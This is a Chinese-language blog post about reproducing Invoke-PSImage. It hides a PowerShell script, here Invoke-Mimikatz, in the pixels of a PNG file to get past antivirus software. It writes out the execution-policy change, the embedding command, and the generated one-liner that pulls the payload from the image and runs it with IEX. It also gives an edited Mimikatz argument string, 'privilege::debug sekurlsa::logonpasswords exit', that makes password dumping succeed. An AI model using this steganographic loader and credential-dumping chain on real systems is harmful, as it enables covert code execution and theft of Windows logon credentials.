Invoke-PSImage复现遇到的一些问题

Invoke-PSImage复现遇到的一些问题

转载请注明出处:https://youngrichog.github.io/

PSimage具体介绍可以移步:传送门

Github地址:传送门

环境配置:

测试环境:Win10 Enterprise x64

测试杀软:小红伞(Avira)/360安全卫士免杀

描述:

Invoke-PSImage可以将一个PowerShell脚本中的字节嵌入到PNG图像文件的像素之中,并生成一行执行命令来帮助我们从文件或Web(传递-Web标记)执行它们。

它会利用图片中每个像素点最后4位有效位的2个颜色值来存储Payload数据,虽然图片质量会受到影响,但是一般来说是看不出来有多大区别的。图片需要存储为PNG格式,由于Payload数据存储在颜色值中,因此这种格式可以进行无损压缩并且不会影响到Payload的执行。它可以接受目前绝大多数的图片类型作为输入,但输出必须为PNG格式,因为输出的图片数据需要是无损的。

图片的每一个像素都需要存储脚本的一个字节,所以你需要根据脚本中的字节数据大小来选择图片(尽可能多的像素点)。例如,Invoke-Mimikatz需要一张1920×1200的图片来存储。

复现过程:

直接执行,会出现这样的问题:无法加载文件 **.ps1,因为在此系统中禁止执行脚本。有关详细信息,请参阅 “get-help about_signing”。

1
PS>Import-Module .\\Invoke-PSImage.ps1

我们需要在powershell设置下即可:

1
PS>set-executionpolicy remotesigned

然后执行Import-Module就成功导入了,继续执行:

1
PS>Invoke-PSImage -Script .\\Invoke-Mimikatz.ps1 -Image .\\time.jpg - Out .\\evil.png

会生成sal:

1
sal a New-Object;Add-Type -AssemblyName "System.Drawing";$g= a System.Drawing.Bitmap("Path");$o= a Byte[] 2247500;(0..774)|% {foreach($x in (0..2899)){$p=$g.GetPixel($x,$<em>);$o[$</em><em>2900+$x]=([math]::Floor(($p.B -band 15)</em>16) -bor ($p.G -band 15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..2246608]))

我们需要在最后后面加上:;Invoke-Mimikatz

最终结果:
img

1
sal a New-Object;Add-Type -AssemblyName "System.Drawing";$g= a System.Drawing.Bitmap("Path");$o= a Byte[] 2247500;(0..774)|% {foreach($x in (0..2899)){$p=$g.GetPixel($x,$_);$o[$_*2900+$x]=([math]::Floor(($p.B -band 15)*16) -bor ($p.G -band 15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..2246608]));Invoke-Mimikatz

但是执行的时候会出现这样的问题:

在Google和论坛搜索了很久没有找到结果,然后开始排除法:从权限开始,到怀疑powershell版本的Mimikatz版本有问题····

最后是发现代码2716行是这样写的:

1
$ExeArgs = \"sekurlsa::logonpasswords exit\"

这样看和Github上执行图片是完全吻合的,图片里面并没有privilege::debug

但是我在复现的时候发现如果不添加privilege::debug就无法dumphash,然后添加privilege::debug解决了这个问题

1
$ExeArgs = \"privilege::debug sekurlsa::logonpasswords exit\"